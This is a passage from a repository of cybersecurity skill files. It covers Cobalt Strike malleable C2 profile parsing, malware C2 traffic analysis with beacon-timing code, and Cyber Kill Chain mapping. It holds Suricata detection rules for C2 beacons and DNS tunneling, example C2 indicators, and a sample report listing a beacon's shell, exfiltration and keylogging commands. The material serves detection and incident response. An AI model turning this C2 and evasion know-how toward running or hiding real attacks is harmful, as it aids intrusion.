from extracted network indicators\n8. Compare profile against known threat actor profile collections\n9. Extract staging URIs and payload delivery mechanisms\n10. Produce detection report with IOCs and recommended network signatures\n\n## Expected Output\n\nA JSON report containing extracted C2 URIs, HTTP headers, user agents, sleep/jitter settings, process injection config, spawned process paths, DNS settings, and generated Suricata-compatible detection rules.\n","skills/analyzing-cobaltstrike-malleable-c2-profiles/references/api-reference.md":"# CobaltStrike Malleable C2 Profile Analysis API Reference\n\n## Installation\n\n```bash\npip install dissect.cobaltstrike\npip install 'dissect.cobaltstrike[full]'   # With PCAP support\npip install pyMalleableC2                   # Alternative parser\n```\n\n## dissect.cobaltstrike API\n\n### Parse Beacon Configuration\n```python\nfrom dissect.cobaltstrike.beacon import BeaconConfig\n\nbconfig = BeaconConfig.from_path(\"beacon.bin\")\nprint(hex(bconfig.watermark))     # 0x5109bf6d\nprint(bconfig.protocol)           # https\nprint(bconfig.version)            # BeaconVersion(...)\nprint(bconfig.settings)           # Full config dict\n```\n\n### Parse Malleable C2 Profile\n```python\nfrom dissect.cobaltstrike.c2profile import C2Profile\n\nprofile = C2Profile.from_path(\"amazon.profile\")\nconfig = profile.as_dict()\nprint(config[\"useragent\"])\nprint(config[\"http-get.uri\"])\nprint(config[\"sleeptime\"])\n```\n\n### PCAP Analysis\n```bash\n# Extract beacons from PCAP\nbeacon-pcap --extract-beacons traffic.pcap\n\n# Decrypt traffic with private key\nbeacon-pcap -p team_server.pem traffic.pcap --beacon beacon.bin\n```\n\n## pyMalleableC2 API\n\n```python\nfrom malleableC2 import Profile\n\nprofile = Profile.from_file(\"amazon.profile\")\nprint(profile.sleeptime)\nprint(profile.useragent)\nprint(profile.http_get.uri)\nprint(profile.http_post.uri)\n```\n\n## Key Profile Settings\n\n| Setting | Description | Detection Value |\n|---------|-------------|-----------------|\n| `sleeptime` | Callback interval (ms) | Low values = aggressive beaconing |\n| `jitter` | Sleep randomization % | Timing analysis evasion |\n| `useragent` | HTTP User-Agent string | Network signature |\n| `http-get.uri` | GET request URI path | URI-based detection |\n| `http-post.uri` | POST request URI path | URI-based detection |\n| `spawnto_x86` | 32-bit spawn process | Process creation detection |\n| `spawnto_x64` | 64-bit spawn process | Process creation detection |\n| `pipename` | Named pipe pattern | Named pipe monitoring |\n| `dns_idle` | DNS idle IP address | DNS beacon detection |\n| `watermark` | License watermark | Operator attribution |\n\n## Suricata Rule Format\n\n```\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n  msg:\"MALWARE CobaltStrike C2 URI\";\n  flow:established,to_server;\n  http.uri; content:\"/api/v1/status\";\n  http.header; content:\"User-Agent: Mozilla/5.0\";\n  sid:9000001; rev:1;\n)\n```\n\n## CLI Usage\n\n```bash\npython agent.py --input profile.profile --output report.json\npython agent.py --input parsed_config.json --output report.json\n```\n\n## References\n\n- dissect.cobaltstrike: https://github.com/fox-it/dissect.cobaltstrike\n- pyMalleableC2: https://github.com/byt3bl33d3r/pyMalleableC2\n- Unit42 Analysis: https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/\n- Config Extractor: https://github.com/strozfriedberg/cobaltstrike-config-extractor\n","skills/analyzing-command-and-control-communication/SKILL.md":"---\nname: analyzing-command-and-control-communication\ndescription: 'Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom\n  protocols to reverse-engineer beacon patterns, command structures, data encoding,\n  and infrastructure (primary servers, fallback domains, dead drops). Use after\n  reverse engineering reveals network traffic needing protocol analysis or when\n  building detection signatures for a framework like Cobalt Strike, Metasploit,\n  or Sliver.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- C2\n- command-and-control\n- beacon\n- protocol-analysis\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1071.001\n- T1573\n- T1571\n- T1008\n- T1095\n---\n\n# Analyzing Command-and-Control Communication\n\n## When to Use\n\n- Reverse engineering a malware sample has revealed network communication that needs protocol analysis\n- Building network-level detection signatures for a specific C2 framework (Cobalt Strike, Metasploit, Sliver)\n- Mapping C2 infrastructure including primary servers, fallback domains, and dead drops\n- Analyzing encrypted or encoded C2 traffic to understand the command set and data format\n- Attributing malware to a threat actor based on C2 infrastructure patterns and tooling\n\n**Do not use** for general network anomaly detection; this is specifically for understanding known or suspected C2 protocols from malware analysis.\n\n## Prerequisites\n\n- PCAP capture of malware network traffic (from sandbox, network tap, or full packet capture)\n- Wireshark/tshark for packet-level analysis\n- Reverse engineering tools (Ghidra, dnSpy) for understanding C2 code in the malware binary\n- Python 3.8+ with `scapy`, `dpkt`, and `requests` for protocol analysis and replay\n- Threat intelligence databases for C2 infrastructure correlation (VirusTotal, Shodan, Censys)\n- JA3/JA3S fingerprint databases for TLS-based C2 identification\n\n## Workflow\n\n### Step 1: Identify the C2 Channel\n\nDetermine the protocol and transport used for C2 communication:\n\n```\nC2 Communication Channels:\n━━━━━━━━━━━━━━━━━━━━━━━━━\nHTTP/HTTPS:     Most common; uses standard web traffic to blend in\n                Indicators: Regular POST/GET requests, specific URI patterns, custom headers\n\nDNS:            Tunneling data through DNS queries and responses\n                Indicators: High-volume TXT queries, long subdomain names, high entropy\n\nCustom TCP/UDP: Proprietary binary protocol on non-standard port\n                Indicators: Non-HTTP traffic on high ports, unknown protocol\n\nICMP:           Data encoded in ICMP echo/reply payloads\n                Indicators: ICMP packets with large or non-standard payloads\n\nWebSocket:      Persistent bidirectional connection for real-time C2\n                Indicators: WebSocket upgrade followed by binary frames\n\nCloud Services: Using legitimate APIs (Telegram, Discord, Slack, GitHub)\n                Indicators: API calls to cloud services from unexpected processes\n\nEmail:          SMTP/IMAP for C2 commands and data exfiltration\n                Indicators: Automated email operations from non-email processes\n```\n\n### Step 2: Analyze Beacon Pattern\n\nCharacterize the periodic communication pattern:\n\n```python\nfrom scapy.all import rdpcap, IP, TCP\nfrom collections import defaultdict\nimport statistics\nimport json\n\npackets = rdpcap(\"c2_traffic.pcap\")\n\n# Group TCP SYN packets by destination\nconnections = defaultdict(list)\nfor pkt in packets:\n    if IP in pkt and TCP in pkt and (pkt[TCP].flags & 0x02):\n        key = f\"{pkt[IP].dst}:{pkt[TCP].dport}\"\n        connections[key].append(float(pkt.time))\n\n# Analyze each destination for beaconing\nfor dst, times in sorted(connections.items()):\n    if len(times) < 3:\n        continue\n\n    intervals = [times[i+1] - times[i] for i in range(len(times)-1)]\n    avg_interval = statistics.mean(intervals)\n    stdev = statistics.stdev(intervals) if len(intervals) > 1 else 0\n    jitter_pct = (stdev / avg_interval * 100) if avg_interval > 0 else 0\n    duration = times[-1] - times[0]\n\n    beacon_data = {\n        \"destination\": dst,\n        \"connections\": len(times),\n        \"duration_seconds\": round(duration, 1),\n        \"avg_interval_seconds\": round(avg_interval, 1),\n        \"stdev_seconds\": round(stdev, 1),\n        \"jitter_percent\": round(jitter_pct, 1),\n        \"is_beacon\": 5 < avg_interval < 7200 and jitter_pct < 25,\n    }\n\n    if beacon_data[\"is_beacon\"]:\n        print(f\"[!] BEACON DETECTED: {dst}\")\n        print(f\"    Interval: {avg_interval:.0f}s +/- {stdev:.0f}s ({jitter_pct:.0f}% jitter)\")\n        print(f\"    Sessions: {len(times)} over {duration:.0f}s\")\n```\n\n### Step 3: Decode C2 Protocol Structure\n\nReverse engineer the message format from captured traffic:\n\n```python\n# HTTP-based C2 protocol analysis\nimport dpkt\nimport base64\n\nwith open(\"c2_traffic.pcap\", \"rb\") as f:\n    pcap = dpkt.pcap.Reader(f)\n\nfor ts, buf in pcap:\n    eth = dpkt.ethernet.Ethernet(buf)\n    if not isinstance(eth.data, dpkt.ip.IP):\n        continue\n    ip = eth.data\n    if not isinstance(ip.data, dpkt.tcp.TCP):\n        continue\n    tcp = ip.data\n\n    if tcp.dport == 80 or tcp.dport == 443:\n        if len(tcp.data) > 0:\n            try:\n                http = dpkt.http.Request(tcp.data)\n                print(f\"\\n--- C2 REQUEST ---\")\n                print(f\"Method: {http.method}\")\n                print(f\"URI: {http.uri}\")\n                print(f\"Headers: {dict(http.headers)}\")\n                if http.body:\n                    print(f\"Body ({len(http.body)} bytes):\")\n                    # Try Base64 decode\n                    try:\n                        decoded = base64.b64decode(http.body)\n                        print(f\"  Decoded: {decoded[:200]}\")\n                    except:\n                        print(f\"  Raw: {http.body[:200]}\")\n            except:\n                pass\n```\n\n### Step 4: Identify C2 Framework\n\nMatch observed patterns to known C2 frameworks:\n\n```\nKnown C2 Framework Signatures:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━\nCobalt Strike:\n  - Default URIs: /pixel, /submit.php, /___utm.gif, /ca, /dpixel\n  - Malleable C2 profiles customize all traffic characteristics\n  - JA3: varies by profile, catalog at ja3er.com\n  - Watermark in beacon config (unique per license)\n  - Config extraction: use CobaltStrikeParser or 1768.py\n\nMetasploit/Meterpreter:\n  - Default staging URI patterns: random 4-char checksum\n  - Reverse HTTP(S) handler patterns\n  - Meterpreter TLV (Type-Length-Value) protocol structure\n\nSliver:\n  - mTLS, HTTP, DNS, WireGuard transport options\n  - Protobuf-encoded messages\n  - Unique implant ID in communication\n\nCovenant:\n  - .NET-based C2 framework\n  - HTTP with customizable profiles\n  - Task-based command execution\n\nPoshC2:\n  - PowerShell/C# based\n  - HTTP with encrypted payloads\n  - Cookie-based session management\n```\n\n```bash\n# Extract Cobalt Strike beacon configuration from PCAP or sample\npython3 << 'PYEOF'\n# Using CobaltStrikeParser (pip install cobalt-strike-parser)\nfrom cobalt_strike_parser import BeaconConfig\n\ntry:\n    config = BeaconConfig.from_file(\"suspect.exe\")\n    print(\"Cobalt Strike Beacon Configuration:\")\n    for key, value in config.items():\n        print(f\"  {key}: {value}\")\nexcept Exception as e:\n    print(f\"Not a Cobalt Strike beacon or parse error: {e}\")\nPYEOF\n```\n\n### Step 5: Map C2 Infrastructure\n\nDocument the full C2 infrastructure and failover mechanisms:\n\n```python\n# Infrastructure mapping\nimport requests\nimport json\n\nc2_indicators = {\n    \"primary_c2\": \"185.220.101.42\",\n    \"domains\": [\"update.malicious.com\", \"backup.evil.net\"],\n    \"ports\": [443, 8443],\n    \"failover_dns\": [\"ns1.malicious-dns.com\"],\n}\n\n# Enrich with Shodan\ndef shodan_lookup(ip, api_key):\n    resp = requests.get(f\"https://api.shodan.io/shodan/host/{ip}?key={api_key}\")\n    if resp.status_code == 200:\n        data = resp.json()\n        return {\n            \"ip\": ip,\n            \"ports\": data.get(\"ports\", []),\n            \"os\": data.get(\"os\"),\n            \"org\": data.get(\"org\"),\n            \"asn\": data.get(\"asn\"),\n            \"country\": data.get(\"country_code\"),\n            \"hostnames\": data.get(\"hostnames\", []),\n            \"last_update\": data.get(\"last_update\"),\n        }\n    return None\n\n# Enrich with passive DNS\ndef pdns_lookup(domain):\n    # Using VirusTotal passive DNS\n    resp = requests.get(\n        f\"https://www.virustotal.com/api/v3/domains/{domain}/resolutions\",\n        headers={\"x-apikey\": VT_API_KEY}\n    )\n    if resp.status_code == 200:\n        data = resp.json()\n        resolutions = []\n        for r in data.get(\"data\", []):\n            resolutions.append({\n                \"ip\": r[\"attributes\"][\"ip_address\"],\n                \"date\": r[\"attributes\"][\"date\"],\n            })\n        return resolutions\n    return []\n```\n\n### Step 6: Create Network Detection Signatures\n\nBuild detection rules based on analyzed C2 characteristics:\n\n```bash\n# Suricata rules for the analyzed C2\ncat << 'EOF' > c2_detection.rules\n# HTTP beacon pattern\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"MALWARE MalwareX C2 HTTP Beacon\";\n    flow:established,to_server;\n    http.method; content:\"POST\";\n    http.uri; content:\"/gate.php\"; startswith;\n    http.header; content:\"User-Agent: Mozilla/5.0 (compatible; MSIE 10.0)\";\n    threshold:type threshold, track by_src, count 5, seconds 600;\n    sid:9000010; rev:1;\n)\n\n# JA3 fingerprint match\nalert tls $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"MALWARE MalwareX TLS JA3 Fingerprint\";\n    ja3.hash; content:\"a0e9f5d64349fb13191bc781f81f42e1\";\n    sid:9000011; rev:1;\n)\n\n# DNS beacon detection (high-entropy subdomain)\nalert dns $HOME_NET any -> any any (\n    msg:\"MALWARE Suspected DNS C2 Tunneling\";\n    dns.query; pcre:\"/^[a-z0-9]{20,}\\./\";\n    threshold:type threshold, track by_src, count 10, seconds 60;\n    sid:9000012; rev:1;\n)\n\n# Certificate-based detection\nalert tls $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"MALWARE MalwareX Self-Signed C2 Certificate\";\n    tls.cert_subject; content:\"CN=update.malicious.com\";\n    sid:9000013; rev:1;\n)\nEOF\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Beaconing** | Periodic check-in communication from malware to C2 server at regular intervals, often with jitter to avoid pattern detection |\n| **Jitter** | Randomization applied to beacon interval (e.g., 60s +/- 15%) to make the timing pattern less predictable and harder to detect |\n| **Malleable C2** | Cobalt Strike feature allowing operators to customize all aspects of C2 traffic (URIs, headers, encoding) to mimic legitimate services |\n| **Dead Drop** | Intermediate location (paste site, cloud storage, social media) where C2 commands are posted for the malware to retrieve |\n| **Domain Fronting** | Using a trusted CDN domain in the TLS SNI while routing to a different backend, making C2 traffic appear to go to a legitimate service |\n| **Fast Flux** | Rapidly changing DNS records for C2 domains to distribute across many IPs and resist takedown efforts |\n| **C2 Framework** | Software toolkit providing C2 server, implant generator, and operator interface (Cobalt Strike, Metasploit, Sliver, Covenant) |\n\n## Tools & Systems\n\n- **Wireshark**: Packet analyzer for detailed C2 protocol analysis at the packet level\n- **RITA (Real Intelligence Threat Analytics)**: Open-source tool analyzing Zeek logs for beacon detection and DNS tunneling\n- **CobaltStrikeParser**: Tool extracting Cobalt Strike beacon configuration from samples and memory dumps\n- **JA3/JA3S**: TLS fingerprinting method for identifying C2 frameworks by their TLS implementation characteristics\n- **Shodan/Censys**: Internet scanning platforms for mapping C2 infrastructure and identifying related servers\n\n## Common Scenarios\n\n### Scenario: Reverse Engineering a Custom C2 Protocol\n\n**Context**: A malware sample communicates with its C2 server using an unknown binary protocol over TCP port 8443. The protocol needs to be decoded to understand the command set and build detection signatures.\n\n**Approach**:\n1. Filter PCAP for TCP port 8443 conversations and extract the TCP streams\n2. Analyze the first few exchanges to identify the handshake/authentication mechanism\n3. Map the message structure (length prefix, type field, payload encoding)\n4. Cross-reference with Ghidra disassembly of the send/receive functions in the malware\n5. Identify the command dispatcher and document each command code's function\n6. Build a protocol decoder in Python for ongoing traffic analysis\n7. Create Suricata rules matching the protocol handshake or static header bytes\n\n**Pitfalls**:\n- Assuming the protocol is static; some C2 frameworks negotiate encryption during the handshake\n- Not capturing enough traffic to see all command types (some commands are rare)\n- Missing fallback C2 channels (DNS, ICMP) that activate when the primary channel fails\n- Confusing encrypted payload data with the protocol framing structure\n\n## Output Format\n\n```\nC2 COMMUNICATION ANALYSIS REPORT\n===================================\nSample:           malware.exe (SHA-256: e3b0c44...)\nC2 Framework:     Cobalt Strike 4.9\n\nBEACON CONFIGURATION\nC2 Server:        hxxps://185.220.101[.]42/updates\nBeacon Type:      HTTPS (reverse)\nSleep:            60 seconds\nJitter:           15%\nUser-Agent:       Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nURI (GET):        /dpixel\nURI (POST):       /submit.php\nWatermark:        1234567890\n\nPROTOCOL ANALYSIS\nTransport:        HTTPS (TLS 1.2)\nJA3 Hash:         a0e9f5d64349fb13191bc781f81f42e1\nCertificate:      CN=Microsoft Update (self-signed)\nEncoding:         Base64 with XOR key 0x69\nCommand Format:   [4B length][4B command_id][payload]\n\nCOMMAND SET\n0x01 - Sleep          Change beacon interval\n0x02 - Shell          Execute cmd.exe command\n0x03 - Download       Transfer file from C2\n0x04 - Upload         Exfiltrate file to C2\n0x05 - Inject         Process injection\n0x06 - Keylog         Start keylogger\n0x07 - Screenshot     Capture screen\n\nINFRASTRUCTURE\nPrimary:          185.220.101[.]42 (AS12345, Hosting Co, NL)\nFailover:         91.215.85[.]17 (AS67890, VPS Provider, RU)\nDNS:              update.malicious[.]com -> 185.220.101[.]42\nRegistrar:        NameCheap\nRegistration:     2025-09-01\n\nDETECTION SIGNATURES\nSID 9000010:      HTTP beacon pattern\nSID 9000011:      JA3 TLS fingerprint\nSID 9000013:      C2 certificate match\n```\n","skills/analyzing-command-and-control-communication/references/api-reference.md":"# API Reference: C2 Communication Analysis Tools\n\n## Scapy - Packet Analysis Library (Python)\n\n### Reading PCAPs\n```python\nfrom scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR\npackets = rdpcap(\"capture.pcap\")\n```\n\n### Filtering Packets\n```python\n# TCP SYN packets (connection initiation)\nsyn_pkts = [p for p in packets if TCP in p and (p[TCP].flags & 0x02)]\n\n# DNS queries\ndns_pkts = [p for p in packets if DNS in p and p[DNS].qr == 0]\n\n# Access fields\npkt[IP].src        # Source IP\npkt[IP].dst        # Destination IP\npkt[TCP].sport     # Source port\npkt[TCP].dport     # Destination port\npkt[TCP].flags     # TCP flags (0x02 = SYN)\nfloat(pkt.time)    # Packet timestamp\n```\n\n## dpkt - Packet Parsing Library (Python)\n\n### Reading PCAPs\n```python\nimport dpkt\nwith open(\"capture.pcap\", \"rb\") as f:\n    pcap = dpkt.pcap.Reader(f)\n    for timestamp, buf in pcap:\n        eth = dpkt.ethernet.Ethernet(buf)\n        ip = eth.data\n        tcp = ip.data\n```\n\n### HTTP Request Parsing\n```python\nhttp = dpkt.http.Request(tcp.data)\nhttp.method     # GET, POST\nhttp.uri        # /path\nhttp.headers    # dict of headers\nhttp.body       # POST body\n```\n\n## tshark - CLI Wireshark\n\n### Beacon Analysis\n```bash\ntshark -r capture.pcap -T fields -e ip.dst -e tcp.dstport -e frame.time_epoch \\\n  -Y \"tcp.flags.syn==1\" > syn_times.csv\n```\n\n### HTTP Extraction\n```bash\ntshark -r capture.pcap -Y \"http.request\" -T fields \\\n  -e http.request.method -e http.host -e http.request.uri -e http.user_agent\n```\n\n### DNS Extraction\n```bash\ntshark -r capture.pcap -Y \"dns.qr==0\" -T fields \\\n  -e dns.qry.name -e dns.qry.type -e ip.src\n```\n\n### JA3 TLS Fingerprinting\n```bash\ntshark -r capture.pcap -Y \"tls.handshake.type==1\" -T fields \\\n  -e ip.src -e tls.handshake.ja3\n```\n\n## CobaltStrikeParser - Beacon Config Extraction\n\n### Usage\n```python\nfrom cobalt_strike_parser import BeaconConfig\nconfig = BeaconConfig.from_file(\"beacon.bin\")\nfor key, value in config.items():\n    print(f\"{key}: {value}\")\n```\n\n### Key Config Fields\n| Field | Description |\n|-------|-------------|\n| `BeaconType` | HTTP, HTTPS, DNS, SMB |\n| `C2Server` | Primary C2 URL |\n| `SleepTime` | Beacon interval (ms) |\n| `Jitter` | Jitter percentage |\n| `UserAgent` | HTTP User-Agent string |\n| `Watermark` | License watermark ID |\n\n## Suricata - Network IDS Rules\n\n### Rule Syntax\n```\nalert <proto> <src> <port> -> <dst> <port> (msg:\"\"; <options>; sid:N; rev:N;)\n```\n\n### Key Keywords\n| Keyword | Purpose |\n|---------|---------|\n| `http.method` | Match HTTP method |\n| `http.uri` | Match request URI |\n| `http.header` | Match header content |\n| `ja3.hash` | Match JA3 TLS fingerprint |\n| `dns.query` | Match DNS query name |\n| `tls.cert_subject` | Match TLS certificate CN |\n| `threshold` | Rate-based detection |\n","skills/analyzing-cyber-kill-chain/SKILL.md":"---\nname: analyzing-cyber-kill-chain\ndescription: 'Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain\n  framework to identify which phases an adversary has completed, where defenses succeeded\n  or failed, and what controls would have interrupted the attack at earlier phases.\n  Use when conducting post-incident analysis, building prevention-focused security\n  controls, or mapping detection gaps to kill chain phases. Activates for requests\n  involving kill chain analysis, intrusion kill chain, attack phase mapping, or Lockheed\n  Martin kill chain framework.\n\n  '\ndomain: cybersecurity\nsubdomain: threat-intelligence\ntags:\n- kill-chain\n- Lockheed-Martin\n- MITRE-ATT&CK\n- intrusion-analysis\n- defense-in-depth\n- NIST-CSF\nversion: 1.0.0\nauthor: team-cybersecurity\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-05\n- DE.CM-01\n- DE.AE-02\nmitre_attack:\n- T1566.001\n- T1190\n- T1547.001\n- T1071.001\n- T1486\n---\n# Analyzing Cyber Kill Chain\n\n## When to Use\n\nUse this skill when:\n- Conducting post-incident analysis to determine how far an adversary progressed through an attack sequence\n- Designing layered defensive controls with the goal of interrupting attacks at the earliest possible phase\n- Producing threat intelligence reports that communicate attack progression to non-technical stakeholders\n\n**Do not use** this skill as a standalone framework — combine with MITRE ATT&CK for technique-level granularity beyond what the 7-phase kill chain provides.\n\n## Prerequisites\n\n- Complete incident timeline with forensic artifacts mapped to specific adversary actions\n- MITRE ATT&CK Enterprise matrix for technique-level mapping within each kill chain phase\n- Access to threat intelligence on the suspected adversary group's typical kill chain progression\n- Post-incident report or IR timeline from responding team\n\n## Workflow\n\n### Step 1: Map Observed Actions to Kill Chain Phases\n\nThe Lockheed Martin Cyber Kill Chain consists of seven phases. Map all observed adversary actions:\n\n**Phase 1 - Reconnaissance**: Adversary gathers target information before attack.\n- Indicators: DNS queries from adversary IP, LinkedIn scraping, job posting analysis, Shodan scans of organization infrastructure\n\n**Phase 2 - Weaponization**: Adversary creates attack tool (malware + exploit).\n- Indicators: Malware compilation timestamps, exploit document metadata, builder artifacts in malware samples\n\n**Phase 3 - Delivery**: Adversary transmits weapon to target.\n- Indicators: Phishing emails, malicious attachments, drive-by downloads, USB drops, supply chain compromise\n\n**Phase 4 - Exploitation**: Adversary exploits vulnerability to execute code.\n- Indicators: CVE exploitation events in application/OS logs, memory corruption artifacts, shellcode execution\n\n**Phase 5 - Installation**: Adversary establishes persistence on target.\n- Indicators: New scheduled tasks, registry run keys, service installation, web shells, bootkits\n\n**Phase 6 - Command & Control (C2)**: Adversary communicates with compromised system.\n- Indicators: Beaconing traffic (regular intervals), DNS tunneling, HTTPS to uncommon domains, C2 framework signatures (Cobalt Strike, Sliver)\n\n**Phase 7 - Actions on Objectives**: Adversary achieves goals.\n- Indicators: Data staging/exfiltration, lateral movement, ransomware execution, destructive activity\n\n### Step 2: Identify Phase Completion and Detection Points\n\nCreate a phase matrix for the incident:\n```\nPhase 1: Recon        → Completed (undetected)\nPhase 2: Weaponize    → Completed (undetected — pre-attack)\nPhase 3: Delivery     → Completed; phishing email bypassed SEG\nPhase 4: Exploit      → Completed; CVE-2023-23397 exploited\nPhase 5: Install      → DETECTED: EDR flagged scheduled task creation (attack stalled here)\nPhase 6: C2           → Not achieved (installation blocked)\nPhase 7: Objectives   → Not achieved\n```\n\nFor each phase completed without detection, document the defensive control gap.\n\n### Step 3: Map to MITRE ATT&CK for Technique Detail\n\nEach kill chain phase maps to multiple ATT&CK tactics:\n- Delivery → Initial Access (TA0001)\n- Exploitation → Execution (TA0002)\n- Installation → Persistence (TA0003), Privilege Escalation (TA0004)\n- C2 → Command and Control (TA0011)\n- Actions on Objectives → Exfiltration (TA0010), Impact (TA0040)\n\nWithin each phase, enumerate specific ATT&CK techniques observed and map to existing detections.\n\n### Step 4: Identify Courses of Action per Phase\n\nFor each phase, document applicable defensive courses of action (COAs):\n- **Detect COA**: What detection would alert on adversary activity in this phase?\n- **Deny COA**: What control would prevent the adversary from completing this phase?\n- **Disrupt COA**: What control would interrupt the adversary mid-phase?\n- **Degrade COA**: What control would reduce the adversary's effectiveness in this phase?\n- **Deceive COA**: What deception (honeypots, canary tokens) would expose activity in this phase?\n- **Destroy COA**: What active defense capability would neutralize adversary infrastructure?\n\n### Step 5: Produce Kill Chain Analysis Report\n\nStructure findings as:\n1. Attack narrative (timeline of phases)\n2. Phase-by-phase analysis with evidence\n3. Detection point analysis (what worked, what failed)\n4. Defensive recommendation per phase prioritized by cost/effectiveness\n5. Control improvement roadmap\n\n## Key Concepts\n\n| Term | Definition |\n|------|-----------|\n| **Kill Chain** | Sequential model of adversary intrusion phases; breaking any link theoretically stops the attack |\n| **Courses of Action (COA)** | Defensive responses mapped to each kill chain phase: detect, deny, disrupt, degrade, deceive, destroy |\n| **Beaconing** | Regular, periodic C2 check-in pattern from compromised host to adversary server; detectable by frequency analysis |\n| **Phase Completion** | Adversary successfully finishes a kill chain phase and progresses to the next; defense-in-depth aims to prevent this |\n| **Intelligence Gain/Loss** | Analysis of whether detecting at Phase 5 (vs. Phase 3) reduced intelligence about adversary capabilities or intent |\n\n## Tools & Systems\n\n- **MITRE ATT&CK Navigator**: Overlay kill chain phases with ATT&CK technique coverage for integrated analysis\n- **Elastic Security EQL**: Event Query Language for querying multi-phase attack sequences in Elastic SIEM\n- **Splunk ES**: Timeline visualization and correlation searches for kill chain phase sequencing\n- **MISP**: Kill chain tagging via galaxy clusters for structured incident event documentation\n\n## Common Pitfalls\n\n- **Linear assumption**: Adversaries don't always progress linearly — they may skip phases (weaponization already complete from previous campaign) or loop back (re-establish C2 after detection).\n- **Ignoring Phases 1 and 2**: Reconnaissance and weaponization occur before the defender has visibility. Intelligence about these phases requires external sources (OSINT, threat intelligence).\n- **Missing insider threats**: The kill chain was designed for external adversaries. Insider threats may skip directly to Phase 7 without traversing earlier phases.\n- **Confusing with ATT&CK tactics**: The 7-phase kill chain and 14 ATT&CK tactics are complementary but not directly equivalent. Maintain distinction to prevent analytic confusion.\n","skills/analyzing-cyber-kill-chain/references/api-reference.md":"# API Reference: Cyber Kill Chain Analysis Tools\n\n## Lockheed Martin Cyber Kill Chain Phases\n\n| Phase | Name | MITRE ATT&CK Tactic |\n|-------|------|---------------------|\n| 1 | Reconnaissance | TA0043 Reconnaissance |\n| 2 | Weaponization | TA0042 Resource Development |\n| 3 | Delivery | TA0001 Initial Access |\n| 4 | Exploitation | TA0002 Execution |\n| 5 | Installation | TA0003 Persistence, TA0004 Privilege Escalation |\n| 6 | Command & Control | TA0011 Command and Control |\n| 7 | Actions on Objectives | TA0010 Exfiltration, TA0040 Impact |\n\n## Courses of Action (COA) Matrix\n\n| COA | Description |\n|-----|-------------|\n| Detect | Alert on adversary activity |\n| Deny | Prevent phase completion |\n| Disrupt | Interrupt adversary mid-phase |\n| Degrade | Reduce adversary effectiveness |\n| Deceive | Expose activity via deception |\n| Destroy | Neutralize adversary infrastructure |\n\n## MITRE ATT&CK Navigator\n\n### JSON Layer Format\n```json\n{\n  \"name\": \"Kill Chain Coverage\",\n  \"versions\": {\"navigator\": \"4.8\", \"layer\": \"4.4\", \"attack\": \"13\"},\n  \"domain\": \"enterprise-attack\",\n  \"techniques\": [\n    {\"techniqueID\": \"T1566\", \"color\": \"#ff6666\", \"comment\": \"Phase 3: Delivery\"}\n  ]\n}\n```\n\n### CLI Usage\n```bash\n# Export layer via ATT&CK Navigator API\ncurl -X POST https://mitre-attack.github.io/attack-navigator/api/layers \\\n  -d @layer.json -o coverage_map.svg\n```\n\n## Splunk - Kill Chain Phase Queries\n\n### Phase 3 Detection (Delivery)\n```spl\nindex=email sourcetype=exchange action=delivered\n| eval has_macro=if(match(attachment, \"\\.(docm|xlsm|pptm)$\"), 1, 0)\n| where has_macro=1\n| stats count by sender, subject, attachment\n```\n\n### Phase 6 Detection (C2)\n```spl\nindex=proxy OR index=firewall\n| stats count AS connections, dc(dest) AS unique_dests by src_ip\n| where connections > 100 AND unique_dests < 3\n| sort - connections\n```\n\n## Elastic Security EQL\n\n### Multi-Phase Detection\n```eql\nsequence by host.name with maxspan=1h\n  [process where event.action == \"start\" and process.name == \"WINWORD.EXE\"]\n  [process where event.action == \"start\" and process.parent.name == \"WINWORD.EXE\"]\n  [network where destination.port == 443 and not destination.ip in (\"known_good\")]\n```\n\n## MISP - Kill Chain Tagging\n\n### Galaxy Cluster Tags\n```\nmisp-galaxy:kill-chain=\"reconnaissance\"\nmisp-galaxy:kill-chain=\"delivery\"\nmisp-galaxy:kill-chain=\"exploitation\"\nmisp-galaxy:kill-chain=\"installation\"\nmisp-galaxy:kill-chain=\"command-and-control\"\nmisp-galaxy:kill-chain=\"actions-on-objectives\"\n```\n\n### PyMISP Event Tagging\n```python\nfrom pymisp import PyMISP, MISPEvent\n\nmisp = PyMISP(\"https://misp.example.com\", \"API_KEY\")\nevent = MISPEvent()\nevent.add_tag(\"kill-chain:delivery\")\nevent.add_tag(\"mitre-attack-pattern:T1566 - Phishing\")\nmisp.update_event(event)\n```\n","skills/analyzing-disk-image-with-autopsy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-disk-image-with-autopsy%2FSKILL.md -->","skills/analyzing-disk-image-with-autopsy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-disk-image-with-autopsy%2Freferences%2Fapi-reference.md -->","skills/analyzing-dns-logs-for-exfiltration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-dns-logs-for-exfiltration%2FSKILL.md -->","skills/analyzing-dns-logs-for-exfiltration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-dns-logs-for-exfiltration%2Freferences%2Fapi-reference.md -->","skills/analyzing-docker-container-forensics/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-docker-container-forensics%2FSKILL.md -->","skills/analyzing-docker-container-forensics/references/api-reference.md":"<!-- Skill available on-demand via 